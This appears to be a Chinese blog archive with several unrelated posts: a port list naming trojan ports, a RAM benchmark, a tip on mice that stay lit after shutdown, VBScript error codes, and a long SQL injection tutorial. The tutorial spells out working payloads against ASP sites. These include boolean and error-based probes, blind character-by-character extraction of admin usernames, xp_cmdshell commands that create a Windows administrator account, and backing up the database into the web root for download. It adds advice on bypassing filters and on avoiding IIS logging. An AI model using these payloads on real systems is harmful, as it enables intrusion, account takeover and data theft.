2006年03月11日

  山东 济南 青岛 烟台 淄博 泰安 潍坊 济宁 枣庄 德州 威海 日照 莱芜 滨洲 东营 聊城 菏泽 临沂

齐鲁人才热线”(www.qlrc.com),是目前山东有影响力的人力资源网站之一。 
齐鲁人才热线面向企业和个人提供全面快捷的人力资源信息服务。依托广泛的服务网络和先进的网络技术,我们所提供的职位分布在全省范围,涉及信息技术、金融、广告、制药等各种行业,成为众多跨国公司、合资企业、国内科技公司、上市公司招聘人才的首选合作伙伴。

山东人才    |山东招聘|        齐鲁人才热线

2005年09月12日
计算机常用端口一览表
1 传输控制协议端口服务多路开关选择器
2 compressnet 管理实用程序
3 压缩进程
5 远程作业登录
7 回显(Echo)
9 丢弃
11 在线用户
13 时间
15 netstat
17 每日引用
18 消息发送协议
19 字符发生器
20 文件传输协议(默认数据口)
21 文件传输协议(控制)
22 SSH远程登录协议
23 telnet 终端仿真协议
24 预留给个人用邮件系统
25 smtp 简单邮件发送协议
27 NSW 用户系统现场工程师
29 MSG ICP
31 MSG验证
33 显示支持协议
35 预留给个人打印机服务
37 时间
38 路由访问协议
39 资源定位协议
41 图形
42 WINS 主机名服务
43 "绰号" who is服务
44 MPM(消息处理模块)标志协议
45 消息处理模块
46 消息处理模块(默认发送口)
47 NI FTP
48 数码音频后台服务
49 TACACS登录主机协议
50 远程邮件检查协议
51 IMP(接口信息处理机)逻辑地址维护
52 施乐网络服务系统时间协议
53 域名服务器
54 施乐网络服务系统票据交换
55 ISI图形语言
56 施乐网络服务系统验证
57 预留个人用终端访问
58 施乐网络服务系统邮件
59 预留个人文件服务
60 未定义
61 NI邮件?
62 异步通讯适配器服务
63 WHOIS+
64 通讯接口
65 TACACS数据库服务
66 Oracle SQL*NET
67 引导程序协议服务端
68 引导程序协议客户端
69 小型文件传输协议
70 信息检索协议
71 远程作业服务
72 远程作业服务
73 远程作业服务
74 远程作业服务
75 预留给个人拨出服务
76 分布式外部对象存储
77 预留给个人远程作业输入服务
78 修正TCP
79 Finger(查询远程主机在线用户等信息)
80 全球信息网超文本传输协议(www)
81 HOST2名称服务
82 传输实用程序
83 模块化智能终端ML设备
84 公用追踪设备
85 模块化智能终端ML设备
86 Micro Focus Cobol编程语言
87 预留给个人终端连接
88 Kerberros安全认证系统
89 SU/MIT终端仿真网关
90 DNSIX 安全属性标记图
91 MIT Dover假脱机
92 网络打印协议
93 设备控制协议
94 Tivoli对象调度
95 SUPDUP
96 DIXIE协议规范
97 快速远程虚拟文件协议
98 TAC(东京大学自动计算机)新闻协议
101 usually from sri-nic
102 iso-tsap
103 ISO Mail
104 x400-snd
105 csnet-ns
109 Post Office
110 Pop3 服务器(邮箱发送服务器)
111 portmap 或 sunrpc
113 身份查询
115 sftp
117 path 或 uucp-path
119 新闻服务器
121 BO jammerkillah
123 network time protocol (exp)
135 DCE endpoint resolutionnetbios-ns
137 NetBios-NS
138 NetBios-DGN
139 win98 共享资源端口(NetBios-SSN)
143 IMAP电子邮件
144 NeWS – news
153 sgmp – sgmp
158 PCMAIL
161 snmp – snmp
162 snmp-trap -snmp
170 network Post******
175 vmnet
194 Irc
315 load
400 vmnet0
443 安全服务
456 Hackers Paradise
500 sytek
512 exec
513 login
514 shell – cmd
515 printer – spooler
517 talk
518 ntalk
520 efs
526 tempo – newdate
530 courier – rpc
531 conference – chat
532 netnews – readnews
533 netwall
540 uucp – uucpd 543 klogin
544 kshell
550 new-rwho – new-who
555 Stealth Spy(Phase)
556 remotefs – rfs_server
600 garcon
666 Attack FTP
750 kerberos – kdc
751 kerberos_master
754 krb_prop
888 erlogin
1001 Silencer 或 WebEx
1010 Doly trojan v1.35
1011 Doly Trojan
1024 NetSpy.698 (YAI)
1025 NetSpy.698
1033 Netspy
1042 Bla1.1
1047 GateCrasher
1080 Wingate
1109 kpop
1243 SubSeven
1245 Vodoo
1269 Mavericks Matrix
1433 Microsoft SQL Server 数据库服务
1492 FTP99CMP (BackOriffice.FTP)
1509 Streaming Server
1524 ingreslock
1600 Shiv
1807 SpySender
1981 ShockRave
1999 Backdoor
2000 黑洞(本马) 默认端口
2001 黑洞(本马) 默认端口
2023 Pass Ripper
2053 knetd
2140 DeepThroat.10 或 Invasor
2283 Rat
2565 Striker
2583 Wincrash2
2801 Phineas
3129 MastersParadise.92
3150 Deep Throat 1.0
3210 SchoolBus
3389 Win2000 远程登陆端口
4000 OICQ Client
4567 FileNail
4950 IcqTrojan
5000 WindowsXP 默认启动的 UPNP 服务
5190 ICQ Query
5321 Firehotcker
5400 BackConstruction1.2 或 BladeRunner
5550 Xtcp
5555 rmt – rmtd
5556 mtb – mtbd
5569 RoboHack
5714 Wincrash3
5742 Wincrash
6400 The Thing
6669 Vampire
6670 Deep Throat
6711 SubSeven
6713 SubSeven
6767 NT Remote Control
6771 Deep Throat 3
6776 SubSeven
6883 DeltaSource
6939 Indoctrination
6969 Gatecrasher.a
7306 网络精灵(木马)
7307 ProcSpy
7308 X Spy
7626 冰河(本马) 默认端口
7789 ICQKiller
8000 OICQ Server
9400 InCommand
9401 InCommand
9402 InCommand
9535 man
9536 w
9537 mantst
9872 Portal of Doom
9875 Portal of Doom
9989 InIkiller
10000 bnews
10001 queue
10002 poker
10167 Portal Of Doom
10607 Coma
11000 Senna Spy Trojans
11223 ProgenicTrojan
12076 Gjamer 或 MSH.104b
12223 Hack?9 KeyLogger
12345 netbus木马 默认端口
12346 netbus木马 默认端口
12631 WhackJob.**1.7
16969 Priotrity
17300 Kuang2
20000 Millenium II (GrilFriend)
20001 Millenium II (GrilFriend)
20034 NetBus Pro
20331 Bla
21554 GirlFriend 或 Schwindler 1.82
22222 Prosiak
23456 Evil FTP 或 UglyFtp 或 WhackJob
27374 SubSeven
29891 The Unexplained
30029 AOLTrojan
30100 NetSphere
30303 Socket23
30999 Kuang
31337 BackOriffice
31339 NetSpy
31666 BO Whackmole
31787 Hack a tack
33333 Prosiak
33911 Trojan Spirit 2001 a
34324 TN 或 Tiny Telnet Server
40412 TheSpy
40421 MastersParadise.96
40423 Master Paradise.97
47878 BirdSpy2
50766 Fore 或 Schwindler
53001 Remote Shutdown
54320 Back Orifice 2000
54321 SchoolBus 1.6
61466 Telecommando
65000 Devil
2005年08月20日

全方位实测!1G内存能比512M快多少?

主流3D游戏软件测试:1G内存优势真的存在

● 测试平台
 


 
● 基准测试
 
    首先我们来看看一些常规测试吧!为了测试512MB和1G内存究竟有何差异,我们选择了比较常见的现代DDR400内存做为测试对象,并且将两次所用内存的时序全部选择为AUTO,这样就不会因为内存时序的差异而影响测试的成绩了。

 
 
 


 
    我们首先进行了一些常规性的测试,在3D Mark03、05和AquaMark 3中得出的结果大家也看到了,差异并不是很明显;LAME MP3 Encoder测试的结果是数字越小越好,而测试的结果分别为512MB 4秒59,1G为5秒04,大容量内存用的时间反而变长了?

真正考验!进入游戏读取时间卡秒表测试

    接下了我们进行的则是游戏方面的测试,在接下来的测试中我们并没有过多的去关心游戏的帧数,我们更为关心的是游戏的读取时间。我们都知道如果你的内存容量较小,那么在进入游戏的时候将会出现大量读取硬盘数据的现象,而增加了内存后这样的情况就会有所好转,当然进入游戏的时间也就会缩短了。

    在FarCry的测试中,我们采用读取第一个场景记时的办法,虽然手动记时肯定会有所偏差,没有软件测试那样精确,但这种偏差并没有多少,还是能够接受的。


 
    Half-Lift 2也是采用读取第一个场景时开始记时,到进入场景后停止的方法。

    DOOM3我们则变了一种方式记时:双击DOOM3的桌面快捷方式后开始记时,到进入到主菜单时停止,而得分上512MB内存慢了2秒多。

 
 

    UT2003我们采用了记时+得分的方法,这样不仅能够看出不同容量之间的性能差异,还能看到时间上的变化。经过测试,1G内存不论在得分上还是时间上都取得了一些优势,但优势并不那么明显。

 

    经过多次的测试发现还是Quake3做为更为人性化,一次测试不仅测出帧数,连Demo的运行时间也一起计算出来了,省得小编在用秒表记时了!在这该测试中,1G内存在帧数上领先不少,而时间上几乎相差无几,还不到1秒。

    另外我们还测试了Windows XP在启动画面上所花费的时间,得出的结果也是相差无几。

    最后,国外同行也进行了一次类似的测试。他们在内存测试中录制了一段视频,它比任何测试数据都更加生动的体现了内存容量对于《魔兽世界》的重要性,所以强烈推荐大家下载观看。

 

    在视频中,画面被分为了三个部分,最左边的是256MB内存的游戏画面,我们可以非常明显得看到左图和另外两个画面明显不再一个场景上,而中间最流畅的是1G内存,右边是512MB内存的效果。面对256MB内存造成的画面停顿已经令人难以忍受,而且还是在所有效果全关闭的情况下得到的结果,可以想像如果测试256MB内存的时候效果设置和其他两种容量内存相同那将是什么样的下场啊!

    虽然512MB内存能够跟上1G所显示画面,但还是会出现停顿,你能够允许这样一款顶级大作有如此的瑕疵吗?所以如果你是一位真正的玩家,升级1G内存是必要的,也许1G内存才是《魔兽世界》的标配!

总结:用512MB还是1GB,要看您是什么人!

● 总结

    通过上面如此之多的测试数据多少说明了一个问题,内存的大小固然重要,但做什么事情都要有个“度”,如果超过了这个度,它的结果未必想你想像的那么好,而且还有可能会起到相反的作用,内存也是同一道理。

    完美的搭配才能产生出完美的效果,完美的效果不一定出自最强的搭配,所以在搭配内存时还希望大家量力而行,按需选择。如果你仅仅是为了玩玩游戏,那么推荐你使用512MB内存就足以了。如果你是一位发烧玩家或是图形设计人员,也许1G才刚刚够用。希望借助你敏锐的判断力在内存滑落这一时机找到最合适的你内存,用最合理的价格将内存用在你的刀刃上!

2005年08月16日

主板的键盘鼠标开机功能是造成鼠标在关机后仍然发光的最普遍的原因——为了实现键盘鼠标开机、网络唤醒等电源管理功能,目前市场上主流的ATX12V电源都会向主板提供+5VSB的供电。也就是说,主流ATX电源在关机后并没有切断所有的电压供给,而是保留了一组+5VSB输出为主板供电,让主板、键盘鼠标等硬件处于待机状态。由于眼下绝大多数主板都支持PS/2键盘鼠标开机,所以在关机后电源仍然为主板的PS/2口供电,让鼠标处于待机状态,这时候最明显的特征就是光电鼠标的扫描灯仍然会发光。

  如果大家的主板只支持PS/2键盘鼠标开机的话,换用USB接口的电鼠标就能解决关机后鼠标仍然发光的问题。不过现在也有很多主板同时支持PS/2和USB键盘鼠标开机,这时候无论大家使用PS/2还是USB接口的光电鼠标,只要键盘鼠标开机功能没有关闭,那么鼠标在关机后就会一直处于待机状态。所以要解决这一问题的最根本的解决方法就是关闭主板的PS/2、USB键盘鼠标开机功能。

  此外,主机关机后鼠标灯不灭也是很多使用Intel芯片组的主板所特有的现象。因为Intel芯片组在没有切断220V市电供电的情况下(即电源还有供电),其USB端口就会随机性地提供0.9V-2.5V的电压输出,如果此时大家使用的是USB光电鼠标,那么鼠标的扫描等仍然会亮。

如何关闭键盘鼠标开机功能

  由于不同时期的主板对于键盘鼠标开机功能的设定有所不同,所以要关闭键盘鼠标开机功能所采用的方法也分为以下两种:

  1、在BIOS中关闭键盘鼠标开机功能

  目前绝大多数主板的BIOS中都提供了对键盘鼠标开机功能的设定,大家可以进入BIOS主菜单的“Power Management Setup”页面,找到“S3 KB Wake-Up Function”或含义相似的选项(比如“Resume On KBC”、“Resume On PS/2 Mouse”等),将其设置为“Disable”(如下图所示),关闭主板对键盘和鼠标的+5VSB供电,PS/2光电鼠标在关机之后自然也就不会亮了。

  此外,随着USB外设的应用越来越广泛,很多主板还提供了USB键盘鼠标开机功能,在这些主板上USB光电鼠标也会在关机后继续发光。要关闭此项功能的过程与关闭PS/2键盘鼠标开机功能相似,大家进入BIOS主菜单的“Power Management Setup”页面,将“USB Wake-Up From S3”或含义相似的选项设置为“Disable”即可。相信对BIOS有一定了解的朋友即使不看主板说明书也能轻松搞定这些设置。

   2、更改主板跳线

  对于一些早期上市的老型号主板而言,由于当时主板BIOS的功能比较单一,这些主板只能用跳线的方式来开启或关闭键盘鼠标的开机功能。要想关闭键盘鼠标开机功能我们就必须更改相应跳线的连接状态,为此大家务必要认真阅读主板说明书——老主板上的跳线繁多,如果没有弄清楚跳线的含义就随便设置跳线的话,轻则影响主板的正常功能,重则造成主板损坏,这一点大家要特别小心。

解决光电鼠标关机发光的终极方法

  虽然以上两种方法能够解决大部分关机后鼠标仍然发光的问题,但它们并不是万能的。因为有些主板虽然提供了键盘鼠标开机功能,但是主板的BIOS并没有提供关闭此项功能的设置,主板上也没有对应的跳线。除此之外,之前我们提到的部分Intel芯片组主板随机向USB端口供电的现象也无法通过BIOS或跳线设置进行关闭。如果大家在上述主板上使用USB光电鼠标,那么鼠标的扫描灯并不会熄灭。

  其实上述两种特殊情况实际上都是正常现象,既不会对USB设备产生影响,也不存在任何安全隐患。不过如果大家觉得关机后仍然亮着的鼠标灯确实让人感到不爽的话,那么可以选择最终极、最管用的方法:切断220V市电供电,即拔掉电源线插头或者关闭插座的总开关(很多朋友都会将电脑主机和显示器、音箱的电源线插头集中在一个插座上使用)。这样既消除了关机后鼠标灯不灭的问题,还节省了显示器和主板在待机时的功耗(虽然功耗很小,但能节约也是好事情),可谓一举两得。

2005年08月08日

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

  SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报





,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

  但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

  根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let’s Go…

  入门篇

  如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

  第一节、SQL注入原理

  以下我们从一个网站www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

  在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 ‘80040e14′

  字符串的语法错误 在查询表达式 ‘ID=49” 中。

/showdetail.asp,行8

  从这个错误提示我们能看出下面几点:

  1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

  2. 程序没有判断客户端提交的数据是否符合程序要求。

  3. 该SQL语句所查询的表中有一名为ID的字段。

  从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

 第二节、判断能否进行SQL注入

  看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?

  其实,这并不是最好的方法,为什么呢?

  首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

  其次,部分对SQL注入有一点了解的程序员,认为只





要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

  那么,什么样的测试方法才是比较准确呢?答案如下:

  ① http://www.mytest.com/showdetail.asp?id=49

  ② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

  ③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

  这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

  可以注入的表现:

  ① 正常显示(这是必然的,不然就是程序有错误了)

  ② 正常显示,内容基本与①相同

  ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

  不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。

  第三节、判断数据库类型及注入方法

  不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

  怎么让程序告诉你它使用的什么数据库呢?来看看:

  SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

  http://www.mytest.com/showdetail.asp?id=49 ;and user>0

  这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarch





ar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

  顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

  如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

  在确认可以注入的情况下,使用下面的语句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

  如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

  如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

  进阶篇

  在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

  第一节、SQL注入的一般步骤

  首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

  其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

  (A) ID=49 这类注入的参





数是数字型,SQL语句原貌大致如下:



Select * from 表名 where 字段=49



  注入的参数为ID=49 And [查询条件],即是生成语句:



Select * from 表名 where 字段=49 And [查询条件]



  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:



Select * from 表名 where 字段=’连续剧’



  注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:



Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’



  © 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:



Select * from 表名 where 字段like ’%关键字%’



  注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:



Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’



  接着,将查询条件替换成SQL语句,猜解表名,例如:



ID=49 And (Select Count(*) from Admin)>=0



  如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

  表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

  有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

  





有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。

  最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

  我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

  先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

  同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

  第二节、SQL注入常用函数

  有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符)

  作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)

  作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)

  作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C

  作用:





判断A是否界于B与C之间

  第三节、中文处理方法

  在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

  先说一点常识:

  Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

  SQL Server中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

  了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。

  高级篇

  看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

  第一节、利用系统表注入SQLServer数据库

  SQL Server是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子







  ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”–

  分号;在SQLServer中表示隔开前后两句语句,–表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

  ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”–

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;and db_name()>0

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

  ④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;–

  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\202.96.xx.xx\Share \1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

  ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4…就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

  第二节、绕过程序限制继续注入

  在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

  在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看





看怎么改造这些语句:

  简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

  第三节、经验小结

  1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

  3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

  4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

  5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

  防范方法

  SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:



Function SafeRequest(ParaName,ParaType)
 ’— 传入参数 —
 ’ParaName:参数名称-字符型
 ’ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

 Dim ParaValue
 ParaValue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(ParaValue) then
   Response.write "参数" & ParaName & "必须为数字型!"
   Response.end
  End if
 Else
  ParaValue=replace(ParaValue,"’","”")
 End if
 SafeRequest=ParaValue
End function



  文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

2005年08月01日

VB<I>script</I> 运行时错误
如果 VB<I>script</I> 脚本执行系统无法实施的操作,则会产生 VB<I>script</I> 运行时错误。只有在运行脚本、为变量表达式赋值或分配内存时,才会产生 VB<I>script</I> 运行时错误。

错误编号    描述
429    ActiveX 部件无法创建对象
507    发生异常
449    参数不可选
17     无法执行请求的操作
430    类不支持自动化
506    类未被定义
11     被零除
48     加载 DLL 错误
5020    在正则表达式中需要 ‘)’
5019    在正则表达式中需要 ‘]’
432     在自动化操作中未找到文件名或类名
92     For 循环未初始化
5008   非法赋值
51    内部错误
505    无效的或不合格的引用
481    无效图片
5     无效过程调用或参数
5021   字符集越界
94    非法使用 Null
448   未找到命名参数
447   对象不支持当前的区域设置
445   对象不支持此操作
438   对象不支持该属性或方法
451   对象不是一个集合
504   对象不能安全创建
503   对象不能安全初始化
502   脚本对象不安全
424   需要对象
91    未设置对象变量
7    内存不足
28    堆栈溢出
14    字符串空间溢出
6    溢出
35    未定义 Sub 或 <I>function</I>
9    下标越界
5017   正则表达式中的语法错误
462   远程服务器不存在或不能访问
10    该数组为定长的或临时被锁定
13    类型不匹配
5018   错误的数量词
500   变量未定义
458   变量使用了一个 VB<I>script</I> 中不支持的自动化类型
450   错误的参数个数或无效的参数属性值


VB<I>script</I> 语法错误
如果 VB<I>script</I> 语句结构违反了一个或多个 VB<I>script</I> 脚本语言语法规则,就会产生 VB<I>script</I> 语法错误。VB<I>script</I> 语法错误通常在执行程序前,编译程序时产生。

错误编号     描述
1052   在类中不能有多个缺省的属性/方法
1044   调用 Sub 时不能使用圆括号
1053   类初始化或终止不能带参数
1058   只能在 Property Get 中指定 ‘Default’
1057   说明 ‘Default’ 必须同时说明 ‘Public’ "
1005   需要 ‘(‘
1006   需要 ‘)’
1011   需要 ‘=’
1021   需要 ‘Case’
1047   需要 ‘Class’
1025   需要语句的结束
1014   需要 ‘End’
1023   需要表达式
1015   需要 ‘<I>function</I>’
1010   需要标识符
1012   需要 ‘If’
1046   需要 ‘In’
1026   需要整数常数
1049   在属性声明中需要 Let , Set 或 Get
1045   需要文字常数
1019   需要 ‘Loop’
1020   需要 ‘Next’
1050   需要 ‘Property’
1022   需要 ‘Select’
1024   需要语句
1016   需要 ‘Sub’
1017   需要 ‘Then’
1013   需要 ‘To’
1018   需要 ‘Wend’
1027   需要 ‘While’ 或 ‘Until’
1028   需要 ‘While,’、 ‘Until,’ 或语句未结束
1029   需要 ‘With’
1030   标识符太长
1014   无效字符
1039   无效 ‘exit’ 语句
